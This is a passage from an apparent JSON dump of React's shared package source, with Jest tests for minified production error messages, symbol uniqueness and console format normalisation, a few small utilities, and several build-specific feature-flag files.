    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\n\ndescribe('ReactError', () => {\n  let globalErrorMock;\n\n  beforeEach(() => {\n    if (!__DEV__) {\n      // In production, our Jest environment overrides the global Error\n      // class in order to decode error messages automatically. However\n      // this is a single test where we actually *don't* want to decode\n      // them. So we assert that the OriginalError exists, and temporarily\n      // set the global Error object back to it.\n      globalErrorMock = global.Error;\n      global.Error = globalErrorMock.OriginalError;\n      expect(typeof global.Error).toBe('function');\n    }\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n  });\n\n  afterEach(() => {\n    if (!__DEV__) {\n      global.Error = globalErrorMock;\n    }\n  });\n\n  // @gate build === \"production\"\n  // @gate !source\n  it('should error with minified error code', () => {\n    expect(() => {\n      ReactDOMClient.createRoot(null);\n    }).toThrowError(\n      'Minified React error #200; visit ' +\n        'https://react.dev/errors/200' +\n        ' for the full message or use the non-minified dev environment' +\n        ' for full errors and additional helpful warnings.',\n    );\n  });\n\n  // @gate build === \"production\"\n  // @gate !source\n  it('should serialize arguments', async () => {\n    function Oops() {\n      return {};\n    }\n    Oops.displayName = '#wtf';\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await expect(async () => {\n      await act(async () => {\n        root.render(<Oops />);\n      });\n    }).rejects.toThrow(\n      'Minified React error #152; visit ' +\n        'https://reactjs.org/docs/error-decoder.html?invariant=152&args[]=%23wtf' +\n        ' for the full message or use the non-minified dev environment' +\n        ' for full errors and additional helpful warnings.',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/shared/__tests__/ReactErrorProd-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n'use strict';\n\nlet formatProdErrorMessage;\n\ndescribe('ReactErrorProd', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    formatProdErrorMessage = require('shared/formatProdErrorMessage').default;\n  });\n\n  it('should throw with the correct number of `%s`s in the URL', () => {\n    expect(formatProdErrorMessage(124, 'foo', 'bar')).toEqual(\n      'Minified React error #124; visit ' +\n        'https://react.dev/errors/124?args[]=foo&args[]=bar' +\n        ' for the full message or use the non-minified dev environment' +\n        ' for full errors and additional helpful warnings.',\n    );\n\n    expect(formatProdErrorMessage(20)).toEqual(\n      'Minified React error #20; visit ' +\n        'https://react.dev/errors/20' +\n        ' for the full message or use the non-minified dev environment' +\n        ' for full errors and additional helpful warnings.',\n    );\n\n    expect(formatProdErrorMessage(77, '<div>', '&?bar')).toEqual(\n      'Minified React error #77; visit ' +\n        'https://react.dev/errors/77?args[]=%3Cdiv%3E&args[]=%26%3Fbar' +\n        ' for the full message or use the non-minified dev environment' +\n        ' for full errors and additional helpful warnings.',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/shared/__tests__/ReactSymbols-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n'use strict';\n\ndescribe('ReactSymbols', () => {\n  beforeEach(() => jest.resetModules());\n\n  const expectToBeUnique = keyValuePairs => {\n    const map = new Map();\n    keyValuePairs.forEach(([key, value]) => {\n      if (map.has(value)) {\n        throw Error(\n          `${key} value ${value.toString()} is the same as ${map.get(value)}.`,\n        );\n      }\n      map.set(value, key);\n    });\n  };\n\n  it('Symbol values should be unique', () => {\n    expectToBeUnique(Object.entries(require('shared/ReactSymbols')));\n  });\n});\n"
  },
  {
    "path": "packages/shared/__tests__/normalizeConsoleFormat-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet normalizeConsoleFormat;\n\ndescribe('normalizeConsoleFormat', () => {\n  beforeEach(() => {\n    normalizeConsoleFormat = require('shared/normalizeConsoleFormat').default;\n  });\n\n  it('normalize empty string', async () => {\n    expect(normalizeConsoleFormat('', [1, {}, 'foo'], 0)).toMatchInlineSnapshot(\n      `\"%o %o %s\"`,\n    );\n  });\n\n  it('normalize extra args', async () => {\n    expect(\n      normalizeConsoleFormat('%f', [1, {}, 'foo'], 0),\n    ).toMatchInlineSnapshot(`\"%f %o %s\"`);\n  });\n\n  it('normalize fewer than args', async () => {\n    expect(\n      normalizeConsoleFormat('%s %O %o %f', [1, {}, 'foo'], 0),\n    ).toMatchInlineSnapshot(`\"%s %O %o %%f\"`);\n  });\n\n  it('normalize escape sequences', async () => {\n    expect(\n      normalizeConsoleFormat('hel%lo %s %%s world', [1, 'foo'], 0),\n    ).toMatchInlineSnapshot(`\"hel%lo %s %%s world %s\"`);\n  });\n\n  it('normalize ending with escape', async () => {\n    expect(\n      normalizeConsoleFormat('hello %s world %', [1, {}, 'foo'], 0),\n    ).toMatchInlineSnapshot(`\"hello %s world % %o %s\"`);\n    expect(\n      normalizeConsoleFormat('hello %s world %', [], 0),\n    ).toMatchInlineSnapshot(`\"hello %%s world %\"`);\n  });\n});\n"
  },
  {
    "path": "packages/shared/assign.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nconst assign = Object.assign;\n\nexport default assign;\n"
  },
  {
    "path": "packages/shared/binaryToComparableString.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Turns a TypedArray or ArrayBuffer into a string that can be used for comparison\n// in a Map to see if the bytes are the same.\nexport default function binaryToComparableString(\n  view: $ArrayBufferView,\n): string {\n  return String.fromCharCode.apply(\n    String,\n    new Uint8Array(view.buffer, view.byteOffset, view.byteLength),\n  );\n}\n"
  },
  {
    "path": "packages/shared/enqueueTask.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nlet didWarnAboutMessageChannel = false;\nlet enqueueTaskImpl = null;\n\nexport default function enqueueTask(task: () => void): void {\n  if (enqueueTaskImpl === null) {\n    try {\n      // read require off the module object to get around the bundlers.\n      // we don't want them to detect a require and bundle a Node polyfill.\n      const requireString = ('require' + Math.random()).slice(0, 7);\n      // $FlowFixMe[invalid-computed-prop]\n      const nodeRequire = module && module[requireString];\n      // assuming we're in node, let's try to get node's\n      // version of setImmediate, bypassing fake timers if any.\n      enqueueTaskImpl = nodeRequire.call(module, 'timers').setImmediate;\n    } catch (_err) {\n      // we're in a browser\n      // we can't use regular timers because they may still be faked\n      // so we try MessageChannel+postMessage instead\n      enqueueTaskImpl = function (callback: () => void) {\n        if (__DEV__) {\n          if (didWarnAboutMessageChannel === false) {\n            didWarnAboutMessageChannel = true;\n            if (typeof MessageChannel === 'undefined') {\n              console.error(\n                'This browser does not have a MessageChannel implementation, ' +\n                  'so enqueuing tasks via await act(async () => ...) will fail. ' +\n                  'Please file an issue at https://github.com/facebook/react/issues ' +\n                  'if you encounter this warning.',\n              );\n            }\n          }\n        }\n        const channel = new MessageChannel();\n        channel.port1.onmessage = callback;\n        channel.port2.postMessage(undefined);\n      };\n    }\n  }\n  return enqueueTaskImpl(task);\n}\n"
  },
  {
    "path": "packages/shared/forks/DefaultPrepareStackTrace.dom-edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default} from '../DefaultPrepareStackTraceV8';\n"
  },
  {
    "path": "packages/shared/forks/DefaultPrepareStackTrace.dom-node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default} from '../DefaultPrepareStackTraceV8';\n"
  },
  {
    "path": "packages/shared/forks/DefaultPrepareStackTrace.markup.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default} from '../DefaultPrepareStackTraceV8';\n"
  },
  {
    "path": "packages/shared/forks/ReactFeatureFlags.native-fb-dynamic.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict\n */\n\n// In xplat, these flags are controlled by GKs. Because most GKs have some\n// population running in either mode, we should run our tests that way, too,\n//\n// Use __VARIANT__ to simulate a GK. The tests will be run twice: once\n// with the __VARIANT__ set to `true`, and once set to `false`.\n//\n// TODO: __VARIANT__ isn't supported for React Native flags yet. You can set the\n// flag here but it won't be set to `true` in any of our test runs. Need to\n// add a test configuration for React Native.\n\nexport const alwaysThrottleRetries = __VARIANT__;\nexport const enableObjectFiber = __VARIANT__;\nexport const enableEagerAlternateStateNodeCleanup = __VARIANT__;\nexport const passChildrenWhenCloningPersistedNodes = __VARIANT__;\nexport const enableFragmentRefs = __VARIANT__;\nexport const enableFragmentRefsScrollIntoView = __VARIANT__;\nexport const enableFragmentRefsInstanceHandles = __VARIANT__;\nexport const enableEffectEventMutationPhase = __VARIANT__;\nexport const enableFragmentRefsTextNodes = __VARIANT__;\nexport const enableViewTransitionForPersistenceMode = __VARIANT__;\n"
  },
  {
    "path": "packages/shared/forks/ReactFeatureFlags.native-fb.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof * as FeatureFlagsType from 'shared/ReactFeatureFlags';\nimport typeof * as ExportsType from './ReactFeatureFlags.native-fb';\nimport typeof * as DynamicExportsType from './ReactFeatureFlags.native-fb-dynamic';\n\n// Re-export dynamic flags from the internal module.\n// Intentionally using * because this import is compiled to a `require` call.\nimport * as dynamicFlagsUntyped from 'ReactNativeInternalFeatureFlags';\nconst dynamicFlags: DynamicExportsType = (dynamicFlagsUntyped: any);\n\n// We destructure each value before re-exporting to avoid a dynamic look-up on\n// the exports object every time a flag is read.\nexport const {\n  alwaysThrottleRetries,\n  enableEffectEventMutationPhase,\n  enableObjectFiber,\n  enableEagerAlternateStateNodeCleanup,\n  passChildrenWhenCloningPersistedNodes,\n  enableFragmentRefs,\n  enableFragmentRefsScrollIntoView,\n  enableFragmentRefsInstanceHandles,\n  enableFragmentRefsTextNodes,\n  enableViewTransitionForPersistenceMode,\n} = dynamicFlags;\n\n// The rest of the flags are static for better dead code elimination.\nexport const disableClientCache: boolean = true;\nexport const disableCommentsAsDOMContainers: boolean = true;\nexport const disableInputAttributeSyncing: boolean = false;\nexport const disableLegacyContext: boolean = false;\nexport const disableLegacyContextForFunctionComponents: boolean = false;\nexport const disableLegacyMode: boolean = false;\nexport const disableSchedulerTimeoutInWorkLoop: boolean = false;\nexport const disableTextareaChildren: boolean = false;\nexport const enableAsyncDebugInfo: boolean = true;\nexport const enableAsyncIterableChildren: boolean = false;\nexport const enableCPUSuspense: boolean = true;\nexport const enableCreateEventHandleAPI: boolean = false;\nexport const enableMoveBefore: boolean = true;\nexport const enableFizzExternalRuntime: boolean = true;\nexport const enableInfiniteRenderLoopDetection: boolean = false;\nexport const enableLegacyCache: boolean = false;\nexport const enableLegacyFBSupport: boolean = false;\nexport const enableLegacyHidden: boolean = false;\nexport const enableNoCloningMemoCache: boolean = false;\nexport const enableProfilerCommitHooks: boolean = __PROFILE__;\nexport const enableProfilerNestedUpdatePhase: boolean = __PROFILE__;\nexport const enableProfilerTimer: boolean = __PROFILE__;\nexport const enableReactTestRendererWarning: boolean = false;\nexport const enableRetryLaneExpiration: boolean = false;\nexport const enableSchedulingProfiler: boolean = __PROFILE__;\nexport const enableScopeAPI: boolean = false;\nexport const enableSuspenseAvoidThisFallback: boolean = false;\nexport const enableSuspenseCallback: boolean = true;\nexport const enableTaint: boolean = true;\nexport const enableTransitionTracing: boolean = false;\nexport const enableTrustedTypesIntegration: boolean = true;\nexport const enableUpdaterTracking: boolean = __PROFILE__;\nexport const retryLaneExpirationMs = 5000;\nexport const syncLaneExpirationMs = 250;\nexport const transitionLaneExpirationMs = 5000;\nexport const enableYieldingBeforePassive: boolean = false;\nexport const enableThrottledScheduling: boolean = false;\nexport const enableViewTransition: boolean = true;\nexport const enableGestureTransition: boolean = false;\nexport const enableScrollEndPolyfill: boolean = true;\nexport const enableSuspenseyImages: boolean = false;\nexport const enableFizzBlockingRender: boolean = true;\nexport const enableSrcObject: boolean = false;\nexport const enableHydrationChangeEvent: boolean = true;\nexport const enableDefaultTransitionIndicator: boolean = true;\nexport const ownerStackLimit = 1e4;\nexport const enableComponentPerformanceTrack: boolean = true;\nexport const enablePerformanceIssueReporting: boolean =\n  enableComponentPerformanceTrack;\nexport const enableInternalInstanceMap: boolean = false;\nexport const enableOptimisticKey: boolean = false;\nexport const enableParallelTransitions: boolean = false;\n\nexport const eprh_enableUseKeyedStateCompilerLint: boolean = false;\nexport const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = false;\nexport const eprh_enableExhaustiveEffectDependenciesCompilerLint:\n  | 'off'\n  | 'all'\n  | 'extra-only'\n  | 'missing-only' = 'off';\n\n// Flow magic to verify the exports of this file match the original version.\n((((null: any): ExportsType): FeatureFlagsType): ExportsType);\n"
  },
  {
    "path": "packages/shared/forks/ReactFeatureFlags.native-oss.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof * as FeatureFlagsType from 'shared/ReactFeatureFlags';\nimport typeof * as ExportsType from './ReactFeatureFlags.native-oss';\n\n// TODO: Align these flags with canary and delete this file once RN ships from Canary.\n\n// -----------------------------------------------------------------------------\n// All flags\n// -----------------------------------------------------------------------------\nexport const alwaysThrottleRetries: boolean = false;\nexport const disableClientCache: boolean = true;\nexport const disableCommentsAsDOMContainers: boolean = true;\nexport const disableInputAttributeSyncing: boolean = false;\nexport const disableLegacyContext: boolean = true;\nexport const disableLegacyContextForFunctionComponents: boolean = true;\nexport const disableLegacyMode: boolean = false;\nexport const disableSchedulerTimeoutInWorkLoop: boolean = false;\nexport const disableTextareaChildren: boolean = false;\nexport const enableAsyncDebugInfo: boolean = true;\nexport const enableAsyncIterableChildren: boolean = false;\nexport const enableCPUSuspense: boolean = false;\nexport const enableCreateEventHandleAPI: boolean = false;\nexport const enableMoveBefore: boolean = true;\nexport const enableFizzExternalRuntime: boolean = true;\nexport const enableInfiniteRenderLoopDetection: boolean = false;\nexport const enableLegacyCache: boolean = false;\nexport const enableLegacyFBSupport: boolean = false;\nexport const enableLegacyHidden: boolean = false;\nexport const enableNoCloningMemoCache: boolean = false;\nexport const enableObjectFiber: boolean = false;\nexport const enableReactTestRendererWarning: boolean = false;\nexport const enableRetryLaneExpiration: boolean = false;\nexport const enableComponentPerformanceTrack: boolean = true;\nexport const enablePerformanceIssueReporting: boolean = false;\nexport const enableSchedulingProfiler: boolean =\n  !enableComponentPerformanceTrack && __PROFILE__;\nexport const enableScopeAPI: boolean = false;\nexport const enableEagerAlternateStateNodeCleanup: boolean = true;\nexport const enableEffectEventMutationPhase: boolean = false;\nexport const enableSuspenseAvoidThisFallback: boolean = false;\nexport const enableSuspenseCallback: boolean = false;\nexport const enableTaint: boolean = true;\nexport const enableTransitionTracing: boolean = false;\nexport const enableTrustedTypesIntegration: boolean = true;\nexport const passChildrenWhenCloningPersistedNodes: boolean = false;\nexport const retryLaneExpirationMs = 5000;\nexport const syncLaneExpirationMs = 250;\nexport const transitionLaneExpirationMs = 5000;\n\nexport const enableYieldingBeforePassive: boolean = false;\n\nexport const enableThrottledScheduling: boolean = false;\nexport const enableViewTransition: boolean = true;\nexport const enableViewTransitionForPersistenceMode: boolean = false;\nexport const enableGestureTransition: boolean = false;\nexport const enableScrollEndPolyfill: boolean = true;\nexport const enableSuspenseyImages: boolean = false;\nexport const enableFizzBlockingRender: boolean = true;\nexport const enableSrcObject: boolean = false;\nexport const enableHydrationChangeEvent: boolean = false;\nexport const enableDefaultTransitionIndicator: boolean = false;\nexport const ownerStackLimit = 1e4;\n\nexport const enableFragmentRefs: boolean = true;\nexport const enableFragmentRefsScrollIntoView: boolean = false;\nexport const enableFragmentRefsInstanceHandles: boolean = true;\nexport const enableFragmentRefsTextNodes: boolean = true;\n\nexport const enableInternalInstanceMap: boolean = false;\n\nexport const enableOptimisticKey: boolean = false;\n\n// Profiling Only\nexport const enableProfilerTimer: boolean = __PROFILE__;\nexport const enableProfilerCommitHooks: boolean = __PROFILE__;\nexport const enableProfilerNestedUpdatePhase: boolean = __PROFILE__;\nexport const enableUpdaterTracking: boolean = __PROFILE__;\nexport const enableParallelTransitions: boolean = false;\n\nexport const eprh_enableUseKeyedStateCompilerLint: boolean = false;\nexport const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = false;\nexport const eprh_enableExhaustiveEffectDependenciesCompilerLint:\n  | 'off'\n  | 'all'\n  | 'extra-only'\n  | 'missing-only' = 'off';\n\n// Flow magic to verify the exports of this file match the original version.\n((((null: any): ExportsType): FeatureFlagsType): ExportsType);\n"
  },
  {
    "path": "packages/shared/forks/ReactFeatureFlags.readonly.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// This is only used by bundle tests so they can *read* the default feature flags.\n// It lets us determine whether we're running in Fire mode without making tests internal.\nconst ReactFeatureFlags = require('../ReactFeatureFlags');\n// Forbid writes because this wouldn't work with bundle tests.\nmodule.exports = Object.freeze({...ReactFeatureFlags});\n"
  },
  {
    "path": "packages/shared/forks/ReactFeatureFlags.test-renderer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof * as FeatureFlagsType from 'shared/ReactFeatureFlags';\nimport typeof * as ExportsType from './ReactFeatureFlags.test-renderer';\n\nexport const enableAsyncDebugInfo: boolean = true;\nexport const enableSchedulingProfiler: boolean = false;\nexport const enableProfilerTimer: boolean = __PROFILE__;\nexport const enableProfilerCommitHooks: boolean = __PROFILE__;\nexport const enableProfilerNestedUpdatePhase: boolean = __PROFILE__;\nexport const enableComponentPerformanceTrack: boolean = true;\nexport const enablePerformanceIssueReporting: boolean = false;\nexport const enableUpdaterTracking: boolean = false;\nexport const enableLegacyCache: boolean = __EXPERIMENTAL__;\nexport const enableAsyncIterableChildren: boolean = false;\nexport const enableTaint: boolean = true;\nexport const disableCommentsAsDOMContainers: boolean = true;\nexport const disableInputAttributeSyncing: boolean = false;\nexport const enableScopeAPI: boolean = false;\nexport const enableCreateEventHandleAPI: boolean = false;\nexport const enableSuspenseCallback: boolean = false;\nexport const enableTrustedTypesIntegration: boolean = true;\nexport const disableTextareaChildren: boolean = false;\nexport const enableSuspenseAvoidThisFallback: boolean = false;\nexport const enableCPUSuspense: boolean = false;\nexport const enableNoCloningMemoCache: boolean = false;\nexport const enableLegacyFBSupport: boolean = false;\nexport const enableMoveBefore: boolean = false;\n\nexport const enableRetryLaneExpiration: boolean = false;\nexport const retryLaneExpirationMs = 5000;\nexport const syncLaneExpirationMs = 250;\nexport const transitionLaneExpirationMs = 5000;\n\nexport const disableSchedulerTimeoutInWorkLoop: boolean = false;\nexport const enableLegacyHidden: boolean = false;\n\nexport const enableTransitionTracing: boolean = false;\n\nexport const enableFizzExternalRuntime: boolean = true;\n\nexport const alwaysThrottleRetries: boolean = true;\n\nexport const passChildrenWhenCloningPersistedNodes: boolean = false;\nexport const disableClientCache: boolean = true;\n\nexport const enableInfiniteRenderLoopDetection: boolean = false;\n\nexport const enableEagerAlternateStateNodeCleanup: boolean = true;\nexport const enableEffectEventMutationPhase: boolean = false;\n\nexport const enableYieldingBeforePassive: boolean = true;\n\nexport const enableThrottledScheduling: boolean = false;\nexport const enableViewTransition: boolean = true;\nexport const enableViewTransitionForPersistenceMode: boolean = false;\nexport const enableGestureTransition: boolean = false;\nexport const enableScrollEndPolyfill: boolean = true;\nexport const enableSuspenseyImages: boolean = false;\nexport const enableFizzBlockingRender: boolean = true;\nexport const enableSrcObject: boolean = false;\nexport const enableHydrationChangeEvent: boolean = false;\nexport const enableDefaultTransitionIndicator: boolean = false;\nexport const ownerStackLimit = 1e4;\n\nexport const enableFragmentRefs: boolean = true;\nexport const enableFragmentRefsScrollIntoView: boolean = true;\nexport const enableFragmentRefsInstanceHandles: boolean = true;\nexport const enableFragmentRefsTextNodes: boolean = true;\n\nexport const enableInternalInstanceMap: boolean = false;\n\n// TODO: This must be in sync with the main ReactFeatureFlags file because\n// the Test Renderer's value must be the same as the one used by the\n// react package.\n//\n// We really need to get rid of this whole module. Any test renderer specific\n// flags should be handled by the Fiber config.\n// const __NEXT_MAJOR__ = __EXPERIMENTAL__;\nexport const disableLegacyMode: boolean = true;\nexport const disableLegacyContext: boolean = true;\nexport const disableLegacyContextForFunctionComponents: boolean = true;\nexport const enableReactTestRendererWarning: boolean = true;\n\nexport const enableObjectFiber: boolean = false;\n\nexport const enableOptimisticKey: boolean = false;\nexport const enableParallelTransitions: boolean = false;\n\nexport const eprh_enableUseKeyedStateCompilerLint: boolean = false;\nexport const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = false;\nexport const eprh_enableExhaustiveEffectDependenciesCompilerLint:\n  | 'off'\n  | 'all'\n  | 'extra-only'\n  | 'missing-only' = 'off';\n\n// Flow magic to verify the exports of this file match the original version.\n((((null: any): ExportsType): FeatureFlagsType): ExportsType);\n"
  },
  {
    "path": "packages/shared/forks/ReactFeatureFlags.test-renderer.native-fb.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof * as FeatureFlagsType from 'shared/ReactFeatureFlags';\nimport typeof * as ExportsType from './ReactFeatureFlags.test-renderer';\n\nexport const alwaysThrottleRetries = false;\nexport const disableClientCache = true;\nexport const disableCommentsAsDOMContainers = true;\nexport const disableInputAttributeSyncing = false;\nexport const disableLegacyContext = false;\nexport const disableLegacyContextForFunctionComponents = false;\nexport const disableLegacyMode = false;\nexport const disableSchedulerTimeoutInWorkLoop = false;\nexport const disableTextareaChildren = false;\nexport const enableAsyncDebugInfo = true;\nexport const enableAsyncIterableChildren = false;\nexport const enableCPUSuspense = true;\nexport const enableCreateEventHandleAPI = false;\nexport const enableMoveBefore = false;\nexport const enableFizzExternalRuntime = true;\nexport const enableInfiniteRenderLoopDetection = false;\nexport const enableLegacyCache = false;\nexport const enableLegacyFBSupport = false;\nexport const enableLegacyHidden = false;\nexport const enableNoCloningMemoCache = false;\nexport const enableObjectFiber = false;\nexport const enableProfilerCommitHooks = __PROFILE__;\nexport const enableProfilerNestedUpdatePhase = __PROFILE__;\nexport const enableProfilerTimer = __PROFILE__;\nexport const enableReactTestRendererWarning = false;\nexport const enableRetryLaneExpiration = false;\nexport const enableSchedulingProfiler = __PROFILE__;\nexport const enableComponentPerformanceTrack = false;\nexport const enablePerformanceIssueReporting = false;\nexport const enableScopeAPI = false;\nexport const enableEagerAlternateStateNodeCleanup = true;\nexport const enableEffectEventMutationPhase = false;\nexport const enableSuspenseAvoidThisFallback = false;\nexport const enableSuspenseCallback = false;\nexport const enableTaint = true;\nexport const enableTransitionTracing = false;\nexport const enableTrustedTypesIntegration = true;\nexport const enableUpdaterTracking = false;\nexport const passChildrenWhenCloningPersistedNodes = false;\nexport const retryLaneExpirationMs = 5000;\nexport const syncLaneExpirationMs = 250;\nexport const transitionLaneExpirationMs = 5000;\nexport const enableYieldingBeforePassive = false;\nexport const enableThrottledScheduling = false;\nexport const enableViewTransition = true;\nexport const enableViewTransitionForPersistenceMode = false;\nexport const enableGestureTransition = false;\nexport const enableScrollEndPolyfill = true;\nexport const enableSuspenseyImages = false;\nexport const enableFizzBlockingRender = true;\nexport const enableSrcObject = false;\nexport const enableHydrationChangeEvent = false;\nexport const enableDefaultTransitionIndicator = true;\nexport const enableFragmentRefs = false;\nexport const enableFragmentRefsScrollIntoView = false;\nexport const enableFragmentRefsInstanceHandles = false;\nexport const enableFragmentRefsTextNodes = false;\nexport const ownerStackLimit = 1e4;\nexport const enableOptimisticKey = false;\nexport const enableParallelTransitions = false;\n\nexport const eprh_enableUseKeyedStateCompilerLint: boolean = false;\nexport const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = false;\nexport const eprh_enableExhaustiveEffectDependenciesCompilerLint:\n  | 'off'\n  | 'all'\n  | 'extra-only'\n  | 'missing-only' = 'off';\n\n// Flow magic to verify the exports of this file match the original version.\n((((null: any): ExportsType): FeatureFlagsType): ExportsType);\n"
  },
  {
    "path": "packages/shared/forks/ReactFeatureFlags.test-renderer.www.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof * as FeatureFlagsType from 'shared/ReactFeatureFlags';\nimport typeof * as ExportsType from './ReactFeatureFlags.test-renderer.www';\n\nexport const enableAsyncDebugInfo: boolean = true;\nexport const enableSchedulingProfiler: boolean = false;\nexport const enableProfilerTimer: boolean = __PROFILE__;\nexport const enableProfilerCommitHooks: boolean = __PROFILE__;\nexport const enableProfilerNestedUpdatePhase: boolean = __PROFILE__;\nexport const enableComponentPerformanceTrack: boolean = false;\nexport const enablePerformanceIssueReporting: boolean = false;\nexport const enableUpdaterTracking: boolean = false;\nexport const enableLegacyCache: boolean = true;\nexport const enableAsyncIterableChildren: boolean = false;\nexport const enableTaint: boolean = true;\nexport const disableCommentsAsDOMContainers: boolean = true;\nexport const disableInputAttributeSyncing: boolean = false;\nexport const enableScopeAPI: boolean = true;\nexport const enableCreateEventHandleAPI: boolean = false;\nexport const enableSuspenseCallback: boolean = true;\nexport const disableLegacyContext: boolean = false;\nexport const disableLegacyContextForFunctionComponents: boolean = false;\nexport const enableTrustedTypesIntegration: boolean = true;\nexport const disableTextareaChildren: boolean = false;\nexport const enableSuspenseAvoidThisFallback: boolean = true;\nexport const enableCPUSuspense: boolean = false;\nexport const enableNoCloningMemoCache: boolean = false;\nexport const enableLegacyFBSupport: boolean = false;\nexport const enableMoveBefore: boolean = false;\n\nexport const enableRetryLaneExpiration: boolean = false;\nexport const retryLaneExpirationMs = 5000;\nexport const syncLaneExpirationMs = 250;\nexport const transitionLaneExpirationMs = 5000;\n\nexport const disableSchedulerTimeoutInWorkLoop: boolean = false;\nexport const enableLegacyHidden: boolean = false;\n\nexport const enableTransitionTracing: boolean = false;\n\nexport const enableFizzExternalRuntime: boolean = false;\n\nexport const alwaysThrottleRetries: boolean = true;\n\nexport const passChildrenWhenCloningPersistedNodes: boolean = false;\nexport const disableClientCache: boolean = true;\n\nexport const enableInfiniteRenderLoopDetection: boolean = false;\n\nexport const enableReactTestRendererWarning: boolean = false;\nexport const disableLegacyMode: boolean = true;\n\nexport const enableObjectFiber: boolean = false;\nexport const enableEagerAlternateStateNodeCleanup: boolean = true;\nexport const enableEffectEventMutationPhase: boolean = false;\n\nexport const enableYieldingBeforePassive: boolean = false;\n\nexport const enableThrottledScheduling: boolean = false;\nexport const enableViewTransition: boolean = true;\nexport const enableViewTransitionForPersistenceMode: boolean = false;\nexport const enableGestureTransition: boolean = false;\nexport const enableScrollEndPolyfill: boolean = true;\nexport const enableSuspenseyImages: boolean = false;\nexport const enableFizzBlockingRender: boolean = true;\nexport const enableSrcObject: boolean = false;\nexport const enableHydrationChangeEvent: boolean = false;\nexport const enableDefaultTransitionIndicator: boolean = true;\n\nexport const enableFragmentRefs: boolean = true;\nexport const enableFragmentRefsScrollIntoView: boolean = true;\nexport const enableFragmentRefsInstanceHandles: boolean = true;\nexport const enableFragmentRefsTextNodes: boolean = true;\nexport const ownerStackLimit = 1e4;\n\nexport const enableInternalInstanceMap: boolean = false;\n\nexport const enableOptimisticKey: boolean = false;\nexport const enableParallelTransitions: boolean = false;\n\nexport const eprh_enableUseKeyedStateCompilerLint: boolean = false;\nexport const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean = false;\nexport const eprh_enableExhaustiveEffectDependenciesCompilerLint:\n  | 'off'\n  | 'all'\n  | 'extra-only'\n  | 'missing-only' = 'off';\n\n// Flow magic to verify the exports of this file match the original version.\n((((null: any): ExportsType): FeatureFlagsType): ExportsType);\n"
  },
  {
    "path": "packages/shared/forks/ReactFeatureFlags.www-dynamic.js",
